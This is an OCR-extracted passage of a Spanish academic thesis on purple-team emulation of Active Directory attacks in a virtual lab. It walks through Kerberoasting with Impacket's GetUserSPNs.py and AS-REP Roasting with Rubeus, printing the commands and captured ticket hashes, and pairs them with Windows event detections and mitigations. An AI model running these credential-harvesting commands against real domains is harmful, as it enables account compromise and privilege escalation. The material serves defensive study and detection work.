* Disefiar detecciones * CTI

* Desplegar detecciones * Red Team

* Mejorar detecciones * Blue Team

* Entrenar SOC * Otros

Purple Team
Continuo

Analizar y organizar

* Extraer TTPs

* ¢¥a fueron probadas?
» iEstan desarrolladas?

Emulacion de TTPs

* JSe detectaron alertas?
* ¢Hay métricas relacionadas?
+ (Es posible hacer caza de amenazas?

Emulaciéon de TTPs
* Ejecucion y descripcion

Figura 3.6: Purple Team continuo |\



Capitulo 4
Tecnologias utilizadas

En este capitulo se comentaran las herramientas utilizadas, indicando nombre y descrip-
cion, y ordenadas por categorias. En el capitulo anterior se han hablado de los términos y

conceptos, ahora se habla de las herramientas y especificaciones.

4.1. Virtualizacion y sistemas operativos

4.1.1. VirtualBox

Es un software de virtualizacion desarrollado por Oracle Corporation. Es un hipervisor de
tipo 2, pues requiere un sistema operativo sobre el cual ejecutarse. Gracias a este software
se pueden virtualizar otros sistemas operativos dentro de la méquina anfitrion, los cuales
funcionaran como si se estuviesen ejecutando directamente sobre el hardware del dispositivo.

Como se puede ver en la figura[d. 1 VirtualBox se ejecuta como una aplicacion dentro del
sistema operativo nativo. Dentro de virtualbox se ejecutan sistemas operativos virtualizados
los cuales pueden ejecutar aplicaciones utilizando los recursos reales que se asignen a esa
maquina virtual.

VirtualBox también permite modificar las conexiones de red de las méquinas virtuales.
Se pueden configurar las maquinas para que estén completamente aisladas, para que no
tengan conexién con otras maquinas virtuales, para que solamente tengan conexion con
otras maquinas virtuales y para que se puedan conectar a internet directamente o no.

Todo esto permite la creacion de laboratorios virtuales de forma sencilla y rapida y donde
solamente se necesita un ordenador con los suficientes recursos de hardware y las imagenes

para poder crear las maquinas virtuales.

4.1.2. Kali Linux

Se trata de una distribucion del sistema operativo GNU /Linux orientada a profesionales

de ciberseguridad. Fue creada por la empresa OffSec, la cual mantiene la distribucién actua-
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Figura 4.1: Funcionamiento de virtualizacion con VirtualBow.

lizando sus versiones y funcionalidad. Se basa en una sistema operativo Debian al cual han
realizado modificaciones estéticas y anadido con gran cantidad de herramientas y diccionarios

para realizar pruebas de penetracion.

4.1.3. Windows Server 2022

Windows Server es un sistema operativo disenado por Microsoft para su uso en servidores.
Dentro de un dominio de directorio activo, al menos un servidor de Windows debe tomar
el rol de controlador de dominio. Los servidores pueden tomar muchos roles dentro de un

dominio, como emisores de certificados o servidores de almacenamiento.

4.1.4. Windows 10 Pro

Windows 10 Pro es un sistema operativo desarrollado por Microsft. Al unirse a un dominio
de directorio activo, este dispositivo adquiere una gestiéon centralizada. Los usuarios que lo
utilicen se autenticaran en el dominio y la configuracion de ese dispositivo vendra dada por

las politicas de grupo del dominio.
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4.2. Software general

4.2.1. Herramientas defensivas
Visor de eventos

El visor de eventos es una herramienta integrada en los sistemas Windows para su ad-
ministracion y analisis. Permite a los usuarios visualizar, analizar y gestionar los eventos
generados tanto por el sistema operativo como por ciertas aplicaciones. Estos eventos con-
tienen informacion valiosa para la seguridad, como inicios de sesion, creacion de tickets o

creacion de procesos.

Sysmon

Sysmon o System Monitor es una herramienta gratuita y de coédigo abierto desarrollada
por Microsoft y parte del conjunto de herramientas SysInternals. Es un monitor de sistema
avanzado. A diferencia de el visor de eventos, que se basa en registros predefinidos del sistema
operativo, es mas flexible. Permite registrar eventos como creacion y terminacion de procesos,
cambios en la configuracion del sistema.

Esta herramienta es utilizada puede ser utilizada para detectar comportamientos andéma-

los 0 maliciosos en los sistemas.

VirusTotal

Esta herramienta publica desplegada en internet accesible mediante su web es un anali-
zador de archivos y URLs. Permite subir archivos a su plataforma, los cuales analizaré con
mas de 90 herramientas de antivirus para poder detectar software malintencionado u oculto
en estos. En caso de que alguna herramienta detecte el archivo como malicioso, se indicara
el motivo de esta resolucion.

Gracias a que esta herramienta realiza anélisis estaticos y dinamicos de los archivos,
también permite ver su comportamiento. Esto incluye las direcciones IP o dominios con los
cuales se comunica, los registros del sistema a los que accede o los archivos del sistema que

crea y modifica.

4.3. Herramientas ofensivas

4.3.1. Mimikatz

Mimikatz es una herramienta de coédigo abierto y gratuita para extraer credenciales de
sistemas Windows. Ha sido desarrollada en C por Benjamin Delphy. Dentro de las creden-

ciales que pueden obtenerse utilizando esta herramienta se encuentran contrasenas de incio
de sesion, hashes NTLM o tickets de Kerberos.
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Dispone de diferentes moédulos para realizar acciones especificas, como manipular el pro-

ceso LSASS, escalar privilegios, o interactuar con el protocolo Kerberos.

4.3.2. Rubeus

Rubeus es una herramienta escrita en C++ de codigo abierto y gratuita para realizar
ataques a Kerberos en sistemas Windows. Rubeus permite crear y manipular tickets de

Kerberos.

4.3.3. Impacket

Impacket es un framework escrito en Python de codigo abierto creado para facilitar la
emulaciéon de ataques en entornos Windows. Estd mantenido por la empresa de cibersegu-
ridad Fortra y se encuentra integrado de forma nativa en distribuciones como Kali Linux.
Proporciona una gran cantidad de clases y scripts que permiten a los usuarios interactuar
con paquetes de red a bajo nivel e implementar diferentes técnicas de ataque comunes.

Dentro de la gran cantidad de médulos que esta herramienta tiene integrados se utilizaran
varios. El moédulo GetUsersSPN.py se utilizara para identificar usuarios en el dominio que
tengan el SPN y para solicitar TGS de Kerberos asociados a estas. También se utilizara
Secretsdump.py para extraer hashes de una base de datos NTDS previamente extraida del
dominio. Ademas se usaré psexec.py para obtener ejecucion de comandos de forma remota
mediante la utilizacion de la técnica Pass the Hash. Finalmente se usara ntlmrelayx.py para
realizar un ataqué de relé NTLM y poder ejecutar un ataque Man in the Middle reenviando

una solicitud de autenticacién.
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Configuracién del entorno

5.1. Explicacion del entorno

Tras seleccionar las técnicas a implementar, se ha optado por crear un entorno en Vir-
tualBox donde estas puedan ser explotadas. Este laboratorio virtual intenta simular al red
interna de una empresa, para ello se ha instalado una méquina con un router y firewall que
enruta desde la red interna de VirtualBozr hacia una Red Nat que se conecta con Internet.
Dentro de la red interna se pueden encontrar las méquinas del dominio y una maquina del

atacante que ha conseguido introducir.

5.2. Configuraciéon de las maquinas del dominio

La red interna estara compuesta por los hosts del dominio de directorio activo. Todas
estas maquinas seran dispositivos con sistema operativo Windows Server 2022 o Windows
10 Pro.

Dentro del dominio se configuraran diferentes maquinas, como el controlador de dominio,
las estaciones de trabajo y servidores de Windows que lo componen. También se anadiran
lo usuarios necesarios para poder realizar los ataques. Todos los nombres de usuarios del
dominio seguirédn la nomenclatura “nombre.apellido”.

La maquina més importante a afiadir en el dominio, como se ha visto en la seccion [3.1],
se trata del controlador del dominio.

Se crea una méquina virtual conectada con sistema operativo Windows Server 2022 Stan-
dard con experiencia de escritorio. Dentro de esta se configura un bosque de Directorio Activo
con solamente un Dominio, llamado “ACME.local”.

Se crea una maquina virtual Windows 10 Enterprise que funciona cémo estacion de
trabajo de un usuario anadido al dominio llamado Antonio Garcia. Este usuario simulara
ser un trabajador normal sin ningtn privilegio en el dominio mas alla del de poder utilizar

su estacion de trabajo con permisos limitados.
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Para poder realizar Keberoasting de la forma mas realista posible, se ha configurado un
servidor Windows 2022 el cual contiene una instancia de Microsoft SQL Express 2019, al
version gratuita del software de gestion de bases de datos ofrecido por Microsoft. Durante la
instalacion de este servicio se ha creado una cuenta del dominio, MSSQLExpress, para que
lo utilice. A esta cuenta se le ha activado un nombre de entidad de seguridad de servicio
(SPN), para que pueda ser identificado como servicio de forma tnica en la red.

Para poder realizar AS-REP Roasting, se simulara un servicio de impresiéon. Se ha creado
una cuenta de usuarios llamada “PrintServiceAccount” a la cual se le ha activado la opciéon
de “No pedir la autenticaciéon de Kerberos previa”.

Para realizar el ataque de PetitPotam se ha configurado un Windows Server 2022 con el
rol de servicios de certificados de Directorio Activo, cuya funcionalidad se explico en la seccién
B.1.4] A este rol se le han anadido los servicios de entidad de certificacion, inscripcion web
de entidad de certificacion, servicio web de directiva de inscripciéon de certificados y servicio
web de inscripcion de certificados. Se ha creado una clave privada nueva de tipo RSA con
longitud 2048 y con SHA256 como algoritmo hash para firmar los certificados emitidos, los
cuales tienen un periodo de validez de 5 anos. Tras esta configuracion, es posible acceder al
servicio web proporcionado por este servidor para solicitar certificados en el dominio.

También se ha creado un recurso compartido al cual solo tienen privilegios para acceder
las cuentas de Administracion del dominio. El objetivo es poder mostrar de forma préctica

si una escalada de privilegios ha surtido efecto.

5.3. Configuracion de la maquina del atacante

Para emular ciertas técnicas se ha introducido una méaquina Kali Linux en la red interna.
Esta maquina tendré visibilidad sobre las maquinas del dominio, pero no pertenecera a este.
A esta maquina no se le realizara ninguna configuracion especial, pues por defecto cuenta

con todas las herramientas a utilizar durante las emulaciones.

5.4. Medidas defensivas en el entorno

Dado que el objetivo del proyecto es mostrar diferentes técnicas que utilizan los adversa-
rios para comprometer dominios de directorio activo, se desactivara el antivirus integrado en
los sistemas Windows, Microsoft Defender, para realizar las pruebas. Esto es debido a que la
evasion de antivirus y otras medidas de seguridad, como EDRs suponen una dificultad que
no entra dentro del proyecto, pues darfan para uno o varios proyectos en si mismos. El moti-
vo de realizar técnicas y utilizar herramientas que pueden ser detectadas mediante antivirus
es que muchos adversarios modifican estas herramientas para evitar que sean detectadas,

evitando los anélisis dinamicos y estaticos de las diferentes soluciones de antivirus.



Capitulo 6

Vulnerabilidades, explotacion, deteccion

y mitigaciones

En este capitulo se desarrolla el grueso del trabajo. Hasta ahora se han visto los adver-
sarios y sus tendencias, ahora se estudiara formas en las que realizan sus ataques, basandose
en las técnicas que utilizan, y en las detecciones y mitigaciones que utilizan los equipos de
defensa para prevenir y responder estos ataques.

Tras una fase de investigacion, se ha seleccionado una lista con las técnicas de ATT&CK
a utilizar en el proyecto en base a diferentes criterios. Se han escogido aquellas que tengan
que afecten a sistemas Windows o a entornos de Active Directory.

Se han intentado priorizar las que son actualmente méas explotadas, especialmente por los
grupos mas activos indicados en el informe de ciberamenazas y tendencias del CCN-CERT
de 2023. Este informe divide los grupos de adversarios en dos, los que estan financiados por
estados y los cibercriminales [52].

Sobre los financiados por estados destaca la presencia de los grupos rusos, justificada
por el inicio del conflicto bélico entre Rusia y Ucrania, donde aparecen APT28, APT29,
Sandworm entre otros. También se hace mencién al grupo perteneciente a la agencia de
inteligencia de la Repiblica Popular de Corea, Lazarus Group.

Sobre los grupos relacionados con el cibercrimen destacan LAPSUSS, Conti y LockBit,
famosos por ofrecer servicios de Ransomware-as-a-Service en el caso de LockBit y por e
troyano FEmotet en el caso de Conti. Sobre Conti hay que decir que se usa tanto para
referirse un malware como para referirse al grupo de amenazas que lo utiliza, el cual para
seguir la nomenclatura que aparece en ATT&CK serd Wizard Spider.

Por disputas internas, un miembro de Wizard Spider hizo piblica informaciéon del grupo,
como su estructura, manuales de funcionamiento, colaboracion con el gobierno ruso y mensa-
jes entre miembros, lo que llevo a su disolucion a finales del ano 2022. Si bien puede parecer
que ya no son una amenaza, muchos de los miembros de este grupo siguen participando
en actividades ilicitas en otros grupos similares [50]. Ademés se tendran en cuenta en este

informe debido a la gran cantidad de informacién obtenida sobre su funcionamiento interno
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gracias al filtrado de esa informacion.

Con el objetivo de comprender mejor las tacticas y técnicas utilizadas por los adversarios,
se ha optado por combinar dos enfoques. Por un lado, se analizaran técnicas especificas de
manera detallada, examinando diferentes formas sobre cémo los atacantes las implementan
y qué métodos de deteccion se aplican en cada caso. Por otro lado, se han elegido un ataques
més complejo y ampliamente explotado en la actualidad, el cual involucra diversas técnicas

las cuales pueden entenderse correctamente de forma aislada.

6.1. Técnicas especificas

Se han seleccionado un total de 5 técnicas las cuales, debido a su importancia, se emula-
ran. Para la realizacion de todas estas técnicas el adversario ha debido obtener previamente
acceso al dominio.

Las técnicas de acceso inicial estdn fuera del alcance del proyecto, pues en la mayoria
de casos no son especificas de Windows o Directorio Activo. Los adversarios pueden utilizar
la técnica “T1190: Ezploit Public-Facing Application” para comprometer un servicio Web
mantenido en un servidor del dominio, comprometer los servicios de VPN o explotar alguna
vulnerabilidad en algin servicio del dominio que esté expuesto. También pueden obtener
acceso inicial desplegando un archivo malicioso que les permita controlar una maquina del
dominio, el cual puede llegar de diferntes formas, entre las que se encuentra “T1566.001:
Phishing: Spearphishing Attachment”. El adversario también podria conectarse a un servidor
RDP expuesto mediante la técnica “T1078: Valid Accounts” tras haber obtenido los creden-
ciales de un usuario mediante alguna otra técnica, como por ejemplo a través de falsificar
un enlace y conseguir que el usuario introduzca sus credenciales del dominio en una pagina
web falsa, técnica concida como “T1566.002: Phishing: Spearphishing Link”.

Las técnicas expuestas a continuacion se centran en las diversas actividades mediante las
cuales, un adversario que ya ha conseguido acceso al dominio, puede realizar movimientos
laterales por este con el fin de aumentar sus privilegios en la red. También se muestra
como el adversario puede llegar a comprometer el dominio de forma completa, accediendo
a informacion confidencial que le permita obtener persistencia para extraer informacion del

dominio de forma sostenida en el tiempo o acceder a cualquier recurso de este.

6.1.1. T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting

Este ataque permite obtener tickets (TGS) de cuentas de servicio. Los SPNs se utilizan
para identificar de forma tnica cuentas de servicio, y estan asociados con al menos una
cuenta de inicio de sesion de servicio, que se utiliza para ejecutar un servicio. Estos TGS
contienen datos cifrados con el hash de la contrasena de los usuarios, lo que puede permitir

craquear esta.
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Por fallos de configuracion, hay ocasiones donde estas cuentas tienen privilegios elevados,
lo que puede permitir una escalada de privilegios en el dominio al adversario. En otras
ocasiones, el adversario adquiere cuentas validas con las que puede realizar movimientos

laterales en el dominio.

Utilizacién por adversarios

Se tiene constancia de que esta técnica ha sido utilizada por el grupo Wizard Spider
en mayo de 2022 tras obtener acceso inicial a la red con el malware “FEmotet” a través
de un documento de Excel. A través de este ataque solo obtuvieron acceso a informacién
confidencial, pero segtin los analistas que investigaron el incidente podria haber terminado
en un ransomware propagado por todo el dominio [49].

También se tiene constancia de que este mismo grupo habia utilizado esa misma técnica
previamente, en junio de 2021. En este segundo caso, tras utilizar el malware “BazarLoader”
para el acceso inicial, llevaron a cabo esta técnica para obtener credenciales validas del
dominio que les permitieron seguir con su ataque, el cual terminé con el ransomware “ Diavol”
desplegado en el dominio de Directorio Activo. El tiempo que transcurrié en este segundo
ataque desde el acceso inicial al despliegue del ransomware por todo el dominio fue de tan
solo 42 horas [40].

Segun el equipo de inteligencia de amenazas de Microsoft esta técnica fue utilizada por
el grupo APT29, también concido como “Cozy Bear” o “Los Duques” en la campana de
SolarWinds, durante 2019 y 2020 |32|. Este grupo esta asociado al Servicio de Inteligencia
Exterior ruso, conocido por sus siglas SVR [28|. Durante esta campana realizaron lo que se
conoce como un ataque a la cadena de suministro, donde comprometieron un software de
monitorizaciéon y gestion de infraestructuras de tecnologias de la informacion, Solar Winds.
El compromiso de este software, utilizado por muchas empresas de América, Europa, Asia
y Oriente Medio les permitié conseguir acceso inicial a estas. Posteriormente, utilizaron la
técnica de Keberoasting, junto a muchas otras, para moverse lateralmente por las redes
comprometidas y aumentar su visibilidad dentro de estas. Segtun el FBI, la CISA, la ODNI
y la NSA este ataque llegd a afectar a 18.000 clientes del sector publico y privado, pero
solamente un nimero mucho menor sufrié una continuacion del ataque [27].

Para realizar este ataque el adversario solamente necesita acceso a una cuenta de un
usuario del dominio, ya que cualquier usuario del dominio puede solicitar tickets de Kerberos

para cualquier cuenta de servicio del dominio.

Escenario: Desde una maquina en la red interna no unida al dominio

Para este primer escenario se simulard que un adversario ha conseguido acceso a la red
interna de la empresa y los credenciales del usuario antonio.garcia, pero todavia no tiene

acceso a ninguna maquina unida al dominio. Para ello se utilizara la méquina Kali Linux
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como méquina del atacante, y el moédulo de Impacket *“ GetUsersSPN.py”.

La primera actividad que debe realizar el atacante es encontrar cuentas que sean suscep-
tibles al Kerberoasting. Para ello se utiliza el siguiente comando mostrado en la figura [6.1]

Este comando muestra por pantalla todas las cuentas del dominio que tienen un SPN.

/opt/impacket-0.11.0/examples
-dc-ip 192.168.1.100 ACME.local/antonio.garcia
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
ServicePrincipalName Name MemberOf PasswordlLastSet LastLogon Delegation

MSSQLSvc/SQLServer.ACME. local:1433 MSSQLEXPRESS 2024-05-20 12:03:54.006337 2024-05-29 10:34:57.283605

Figura 6.1: Cuentas del dominio que tienen SPN.

Si anade el pardametro “request”, el adversario puede obtener los TGS de todas las cuen-
tas con SPN del dominio, pero después de enumerar también puede utilizar el parametro
“request-user” para especificar la cuenta de la cual desea obtener un TGS. En la figura [6.2]
se puede ver el ticket obtenido. Como se aprecia en la linea de comandos, el adversario es-
ta utilizando la herramienta “ GetUsersSPNs.py” para solicitar tickets de todas las cuentas
con SPN utilizando las credenciales del usuario del dominio “ACME.local” con nombre “an-
tonio.garcia”, del cual tiene que introducir la contrasena mediante entrada estandar. Tras
eso, la herramienta devuelve un ticket TGS, el cual se ve que tiene un cifrado de tipo 23 y
pertenece al servicio MSSQLEXPRESS del dominio ACME.local.

/opt/impacket-0.11.0/examples
-dc-ip 192.168.1.100 ACME.local/antonio.garcia|-request
Impacket v0.11.@ - Copyright 2023 Fortra

Password:
ServicePrincipalName LastLogon Delegation

MSSQLSvc/SQLServer.ACME.local:1433 MSSQLEXPRESS 2024-05-20 12:03:54.006337 2024-05-29 10:34:57.283605

[-1 CCache file is not found. Skipping ..

$krb5tgs$23$*MSSQLEXPRESS$ACME . LOCAL$ACME . Local/MSSQLEXPRESS*$6bf3242305f213a06726c804a3f00984$c31dd8552d9512df6fcd7819fa829f4a85116e327ea5ed2088
dcbbt92c21c81fc1d8ffecs1b9797c3a27500e24dccfb6151a6c0a5h54d18b2a5563395che661af3a88fbd36dfbc4ssh2292cf3a7848c762febecsc7ca3636ch51776aa28f163ef40c
0e198eeba33cded3980b9a47021b2eche63e4f5c3af107a5824c19379a2b8f5h614301efe768e2628e778a4b4ce606ac0e0171c59df766fesfbecla336774d3b72c51fbe2af4121dce
4d7f9c8677beadb3fac4fd7a67cdf69b7124066139302fd88f58ded52dd853¢ch97f7743ad89331dd9b29¢c106882d82b13fd4383cee25827fe7fd107a0c7775c89b1626b5039blabe2
9e1028a6127db9bf73c4a10d7c694ebf77f6c802b6f9ad595c70698797c48609d39f098814ac739a3fbc7d8dac112425293d9fd2607919cedf3441d312f39f715a3a59af50219004b
€835669683b201434d987ae9070a74f fc823406276a21003c2976123dacc5d1c4ff48fc7f69f7faadac@183409acccc814e3cl16e6df435627cfeab7d8h349c823d6348c534bf1c51
ba5c2ea034e7193e5aaf3d7903ecfd74f8celastd3be3c0e24f611ea3545f0b4s870142a1faf84211d915d0b7729cd7dcff89cdsesef77d20002ec3156c9de2cdbsbd5db8c40e37c8f6
3defbb28f36e8706430fde3c53cc88fchde2ec46121ca7594ad12546dd9ac0d956e22a8986cffc95caac5617957a8793c356h88ad5cadadc614bd3527ecf6a79202b2dd30d65abf6f
ed59441bcfef5960fab54ce99b7034a3afbcf82d92a8256e5e233e5a0e8e8e1b8240273d919blead5a121272c63f3cd3236aaefe5950a8bb8b0c531b30466a8253081cdffd6coe9s
253f4dbbofad9e9bsbs7090a2e8212337c100b7f12cd70d738b48efd56833a18e6fbeeh0824ccf3ee7c2f0553cfb7eab9f226726c208fa7725405dchf9578c032760b284a253b76¢2
bba5517973b5d603ca74a944eef535ebfa967f517405f6f19f8783cc98958ac732d2f25e00373a494e1758cfhafl117efd5h714f7e348872fc51h9d35cdffbc523€2037050d935ffdd
940a7b5a41e6de181898930748013996ch21b962867e01a94de08520d0eadadd19110ffofbaa627bbfcaa6078ffb339673e9be6fce31067097cd5540723d099127f5b292bfabfa35b
68918ee8c8cedc651446bck69cfe5741fbs79dcasdal9es86dc977010aaf4545a3580d2ba70d16475d814d4151d80fh1243278b203f1ae8bcf84h81864calaf5752ac5ca5es4f77ddo3
98a46e07de5cdf337afc732f7afc7a252bad7ce3a24ba3f2ff8d124f629ffdlc@e5ale3a6eb3518f536febchfb5b264ca99d59eeesdceddsff640c3ddf56cd1d227864e8791cffcee
38b7c56eec0e7769181c8569036a964c03a6e0752346ff1f1318d98203d8faa0d67558cfcf942019c1934454817b6e6ddcdbf492b046f8c110be7586496dcaca7b58be1925b879611
d57c47a869025033f56dd77dd075d4akc10e2ec3ca2200f8a133f88534chbc9caaf

Figura 6.2: TGT de la cuenta MSSQLEXPRESS.

Una vez obtenido el ticket de servicio, el adversario puede intentar obtener la contrasena
de la cuenta asociada al servicio mediante la técnica “T'1110.002: Brute Force: Password

Cracking”. Para ello puede utilizar herramientas como Hashcat o John the Ripper.
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Deteccion de la técnica

Para poder detectar este ataque, se deben auditar las operaciones de tickets de servicio de
Kerberos. Esta configuracion permitira detectar los eventos “4768: A Kerberos authentication
ticket (TGT) was requested” y “4769: A Kerberos service ticket was requested”.

Desde el visor de eventos en el controlador de dominio se puede ver que han aparecido
dos eventos nuevos. El primero de ellos se trata del evento “4768: A Kerberos authentication
ticket (TGT) was requested”, donde el usuario antonio.garcia ha solicitado un ticket de
autenticacion, un TGT, al servicio KRBTGT. En el evento se puede ver que la autenticacion

ha sido exitosa, pues el codigo de resultado es 0, lo cual indica que no ha habido ningin
error . Este evento puede verse en la figura .

Se solicitd un vale de autenticacién (TG T) de Kerberos,

Informacion de cuenta:

Mombre de cuenta: antonic.garcia
MNombre de dominic Kerberos proporcionado: ACME.LOCAL
Id. de usuaric: ACME\antonic.garcia

Informacion de servicio:

MNombre de servicio: krbtgt
Id. de servicio: ACME\krbtgt
TRTC TG CIon e e
Direccién de cliente: »ffff:192.168.1.103
Puerto de cliente: 41372

Informacion adicional:

Codigo de resultado: DxQ

Tipo de cifrade devale:  Ox17
Tipo de autenticacidn previa: 2

Infoermacion de certificado:
MNombre de emisor de certificados:
Muimero de serie de certificado:
Huella digital de certificado:

Solo se proporciena informacidn de certificade si se usé un certificado para la autenticacién previa.

Los tipos de autenticacion previa, las opciones de vale, los tipos de cifrade y los codigos de resultado se
definen en RFC 4120,

Figura 6.3: Evento 4768.

Tras ese evento se ha generado el evento, “4769: A Kerberos service ticket was requested”,
el cual se puede ver en la figura [6.4 En este evento se puede observar que cuenta que
solicita el ticket de servicio es “antonio.garcia@ACME.LOCAL”, pues el usuario ya se ha
autenticado en el dominio como se vio en el evento previo. El resto de datos coinciden en
con lo obtenido por el atacante, pues la cuenta del servicio del cual se ha solicitado el TGS
es MSSQLEXPRESS.

Otra informacion importante del evento es el tipo de cifrado del vale, el cual tiene un
valor de, en hexadecimal, 17, lo que coincide con el ticket obtenido por el atacante, que tiene
el mismo valor pero se muestra en decimal. Este valor se identifica con el tipo de cifrado
“RC4-HMAC” [36]. El uso de este algoritmo de cifrado hace que los adversarios tengan mayor
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facilidad para poder romperlo mediante fuerza bruta y obtener en texto claro la contrasena
del servicio que se esta atacando, por lo que muchos adversarios, en caso de que sea posible,
intentan forzar la creacion del ticket utilizando este algoritmo [14].

Finalmente, de este evento se puede obtener la direcciéon de red desde la cual se ha
solicitado el ticket, 192.168.1.103. El analista encargado de la incidencia podria observar
que no se trata de ninguna méquina del dominio. Esto le permitiria obtener peticiones de
tickets de servicio sospechosos, identificar la direccion del adversario en la red y actuar
en consecuencia, pudiendo ver que otras acciones ha realizado y expulsando, al menos esa

maquina, de la red interna.

ISe solicitd un vale de servicio de Kerberos.l

[Tnfarmacion de cuenta:
Mombre de cuenta: antonic.garcia@ACME.LOCAL
Dominio de cuenta: ACME.LOCAL
GUID de inicio de sesidn: {65afcc3b-72d3-9e03-f11b-b%a%f9aecef}
llinformacion de servicio:
MNombre de servicio: MSSCLEXPRESS
Id. de servicio: ACME\MSSQOLEXPRESS
Informacién de red:
|Direccién de cliente: =ffff:192.168.1.103 |
Puerto de cliente: 41382

Informacién adicional:

Opciones de vale: 40810010
| Tipo decifrado devale:  0x17 I
Codige de error: []

Servicios transitados: -

Este evento se genera cada vez que se solicita acceso a un recurso come un equipeo o un servicio de
Windows. El nombre de servicio indica el recurso al que se solicitd acceso.

Este evento se puede correlacionar con eventos de inicio de sesidn de Windows comparando los campos
GUID de inicio de sesién de cada evento. El evento de inicio de sesidn se produce en el equipo al que se tuvo

acceso, que suele ser un equipe diferente al controlador de deminic que emitio el vale de servicio,

Las opcicnes de valg, los tipos de cifrado y los cadigos de error se definen en RFC 4120,

Figura 6.4: Evento 4769.

Una vez obtenido el ticket, el adversario podria realizar la técnica “T1110.002: Brute
Force: Password Cracking”, donde intentaria romper el cifrado mediante fuerza bruta, ya sea
con un diccionario de posibles contrasenas o fuerza bruta pura. En caso de tener éxito y
obtener la contrasena en texto claro, el adversario podria mediante la técnica “T'1078: Valid
Accounts” implementar las tacticas de persistencia, escalada de privilegios y movimientos

laterales.

Mitigacion de la técnica

La principal mitigacion que puede realizarse es establecer una buena politica de contra-
senas que impida al adversario obtener la contrasena en texto claro mediante fuerza bruta.
Esta politica debe imponer contrasenas de suficientes caracteres, idealmente mas de 25, las

cuales contengan mintsculas, maytsculas, nimeros y caracteres especiales. Estas contrase-
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nas también deberian ser tinicas, para que no puedan comprometer varios usuarios a partir
de una contrasena, por ejemplo utilizando la técnica “T'1110.003: Brute Force: Password
Spraying”, donde se intenta iniciar sesién con una misma contrasenia y diferentes usuarios
conocidos. Ademas, se recomienda que estas contrasenas tengan una fecha de expiracion, lo
cual reduce el tiempo de persistencia del adversario en el dominio al perder el acceso a la
cuenta valida [14].

Otra mitigacion que dificultard al adversario la obtenciéon de la contrasena en texto
claro de la cuenta del servicio es utilizar un mejor algoritmo. Por defecto, algunos sistemas
Windows usan “RC4-HMAC”, se recomienda utilizar los algoritmos de cifrado que utilicen el
algoritmo AES [20].

6.1.2. T1558.004: Steal or Forge Kerberos Tickets: AS-REP Roas-
ting

Este ataque permite obtener tickets (TGT) de usuarios que tienen desactivada la opcion
de no requerir autenticacion previa de Kerberos. Dos motivos por el cual una cuenta puede
tener esa opcion desactivada es para simplificar su administracion o para permitir que siste-
mas heredados, como aplicaciones o dispositivos antiguos, que no soportan la autenticacion
de Kerberos puedan usarse en el dominio. También es posible que el atacante, a través de una
cuenta con los permisos necesarios dentro del dominio, haya deshabilitado la autenticacion
previa de un usuario para poder realizar este ataque.

Si la cuenta requiere autenticacion previa, como se vio en la seccion [3.1.3] el cliente debe
autenticarse ante el controlador de dominio antes de obtener un TGT. Por este motivo,
el cliente envia una parte del AS REQ, la marca de tiempo, cifrado con el hash de su
contrasena. Tras esto, el KDC descifra esta marca de tiempo para verificar la autenticacion
del usuario y responde el AS REP, que contiene dos mensajes. Uno de estos es la clave de
sesion, que se cifra con el hash de la contrasena del usuario.

Si la cuenta no requiere autenticaciéon previa, cualquier usuario puede enviar un mensaje
“AS REQ”, tras lo que recibira la respuesta, “AS-REP”, que contiene el TGT. Si este TGT
se ha cifrado con un algoritmo inseguro, que puede ser RC4, es susceptible de ser craqueado
mediante fuerza bruta para obtener la contrasena en texto claro de esa cuenta.

A diferencia de la técnica “T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting”, la
cual tiene lugar al solicitar el ticket para solicitar servicios, el TGS, esta ocurre en la primera
fase de la autenticacion, al solicitar el TGT.

Si bien es cierto que es complicado que un adversario encuentre un usuario en un dominio
con la autenticacion previa desactivada, puede llegar a habilitarla en caso de tener permisos
para hacerlo. Si el adversario controla un usuario que tiene privilegio de “ GenericAll” sobre
otro usuario, puede activar la autenticacion previa de este y realizar un ataque de AS-REP

Roasting para poder intentar descifrar su contrasena mediante fuerza bruta.
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Utilizacién por adversarios

Si bien esta técnica no se encuentra entre las mas utilizadas por adversarios, se ha decidido
agregarla en el proyecto debido a la facilidad de su ejecucion en caso de que sea posible y a
la ayuda que da para comprender la autenticaciéon en el protocolo Kerberos, el cual, como
ya se ha visto, es critico en Directorio Activo.

Esta técnica fue utilizada por el actor de cibercrimen Wizard Spider en el ataque men-
cionado en la seccion [6.1.1], donde desplegaron el ransomware “ Diavol” por todo un dominio
de Directorio Activo. Esta técnica, junto a la técnica de Kerberoasting, les permitié obtener
cuentas validas para aumentar su control sobre el dominio.

Si bien no es necesario una cuenta de dominio para poder realizar el ataque, si que es
necesario disponer de una cuenta para poder enumerar si existen usuarios los cuales no tienen
la autenticacion previa activada, por lo que son vulnerables al ataque. En caso de no tener
acceso a una cuenta en el dominio, el adversario podria utilizar un diccionario de usuarios

para tratar de detectar si alguno existe y es vulnerable.

Escenario: Desde una maquina del dominio

Para obtener el hash del ticket TGT asociado a cuentas sin autenticaciéon previa se puede
utilizar Rubeus de la forma mostrada en la figura[6.5 Coémo puede observarse, la herramienta
ha utilizado una consulta LDAP. Dentro de esta consulta, el parametro “samAccountType”
permite obtener solamente cuentas asociadas a usuarios y el pardmetro “user AccountControl”

permite obtener las cuentas que no requieren autenticacion previa.

PS C:\Users\antonio.garcia\Downloads> .\Rubeus.exe asreproast /nowrap

Action: AS-REP roasting

Target Domain : ACME.local

Searching path 'LDAP://DC@1.ACME.local/DC=ACME,DC=local’ for '(&(samAccountType=865306368)
countControl:1.2.848.113556.1.4.803:=4194304))
SamAccountName : PrintS iceAccount

DistinguishedName : CN=PrintServiceAccount,CN=Users,DC=ACME,DC=local
Using domain controller: DC@1.ACME.local (192.168.1.1080)

Building AS-REQ (w/o preauth) for: "ACME.local\PrintServiceAccount’
AS-REQ w/o preauth successful!

AS-REP hash:

$krbSasrep$PrintServiceAccount@ACME. local: C6FD53A6FE1IBEED131003ACFE6BCBISF$12A62E938C805
B6832F4BA98EAF547B36AAB56 2E1DB5B3E98066B7CACCAFSCO9AD249DC15DB20042AF 312B7FAA2DDAFATSDS6FF6
873720ECT7069C34D179816DBED39A76C52CBFAA9QESE18DC5CB34B5789DA081D9 2B99A64F79F19DACS8EC1ABDBES
AC207BAS68308EECCC156BAFDBD77033BBASCOB158FDE4A311F 699464CC5AAD2216BD236C6C518D775DEGBBBADFL
EDBOB67/FE4A7ES5076CAC 0 F8611A02F9D3F 6B85FC3F3D3DA/EODF2BA1F197BA7A2B2ADSDO5@3
